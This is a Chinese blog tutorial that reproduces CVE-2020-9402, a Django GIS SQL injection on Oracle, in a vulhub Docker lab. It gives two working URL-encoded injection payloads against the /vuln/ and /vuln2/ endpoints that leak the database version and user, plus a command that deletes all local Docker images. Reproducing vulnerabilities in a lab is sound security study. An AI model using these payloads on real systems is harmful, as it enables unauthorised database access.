Go教程

CVE-2020-9402 Django GIS SQL注入漏洞复现

本文主要是介绍CVE-2020-9402 Django GIS SQL注入漏洞复现,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

CVE-2020-9402 Django GIS SQL注入漏洞

0x01.环境搭建

利用vulhub搭建漏洞环境

service docker start
docker-compose up -d

image-20210409182329274

查看监听端口

docker-compose ps

image-20210409182351787

访问http://target_ip:8000,成功看到页面

image-20210409182424652

0x02.漏洞介绍

该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句

0x03.漏洞复现

漏洞一

首先访问http://target_ip:8000/vuln/

在该网页中使用get方法构造q的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

payload

http://target_ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

image-20210409182706846

漏洞二

访问http://target_ip:8000/vuln2/。 在该网页中使用get方法构造q的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

payload

http://target_ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--

image-20210409182904361

0x04.一点坑

这个环境要9个g,在装这个环境前我把之前装的镜像全删了

docker rmi $(docker images -q)

环境启动后会连不上去,此时很简单,睡个觉回来再看就行了

这篇关于CVE-2020-9402 Django GIS SQL注入漏洞复现的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!